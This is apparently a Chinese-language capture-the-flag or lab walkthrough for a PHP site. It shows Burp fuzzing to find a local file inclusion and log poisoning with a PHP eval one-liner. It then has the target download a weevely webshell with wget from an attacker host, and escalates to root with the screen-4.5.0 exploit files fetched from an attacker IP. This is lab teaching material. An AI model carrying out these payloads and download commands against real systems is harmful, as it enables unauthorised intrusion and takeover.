一、收集信息
1.用burp测试穷尽文件名
使用两个字典
发现footer页面
可能存在文件包含,因为contact.php里面的内容和footer.php内容一样
2.判断文件包含的参数名是什么
GET /thankyou.php?§a§=§hah§ HTTP/1.1
使用cluster bomb模式
第一个payload
第二个payload
穷举发现前面参数名为file=
3.穷举看有什么东西可以被文件包含
GET /thankyou.php?file=§x.php§ HTTP/1.1
使用Fuzzing,指可能出现的情况
发现/etc/pass可以被文件包含进来的
4.查看nginx的日志
二、查找漏洞
1.测试日志
发现信息会被记录到日志里,那么我们就可以写一句话木马进去
2.打开kali的burp
在burp中提交的都是原汁原味的,不会进行url解码
写入一个一句话木马
/wocao! <?php @eval($_GET['a']);?>
如果发送后,在日志里的wocao!后面没有php代码,说明注入成功了
之后访问
/thankyou.php?file=/var/log/nginx/access.log&a=phpinfo();
发现可以执行
3.生成一个web木马
最好直接在root目录下生成
weevely generate 123456 haha.php
提高权限
4.开启一个python http服务器
目的是让目标来我这边下载木马
python -m http.server
5.文件包含漏洞下载木马
/thankyou.php?file=/var/log/nginx/access.log&a=system('cd /tmp;wget 【木马地址】;chmod +x haha.php')
包含木马
/thankyou.php?file=/tmp/haha.php
kali链接木马
weebely http://172.20.10.14/thankyou.php?file=/tmp/haha.php
三、提权
这时已经进入目标主机上了
1.发现有哪些命令可以提权
find / -perm 4000 2>/dev/null
发现screen-4.5.0
2.搜索screen有什么漏洞
3.将漏洞拷贝到本地
41152.sh是一个分段的编译程序
每个 EOF代表一段话的结束
4.利用漏洞
将这个代码复制到libhax.c的文件
然后用这条命令进行编译
这个代码复制到rootshell.c的文件
编译
最后一段是sh命令,新建一个sh文件
5.将编译好的木马传到目标上去
进入刚才的weevely
cd /tmp
wget http://192.168.43.91:8000/libhax.so
wget http://192.168.43.91:8000/rootshell
wget http://192.168.43.91:8000/runme.sh
加权限
提取成功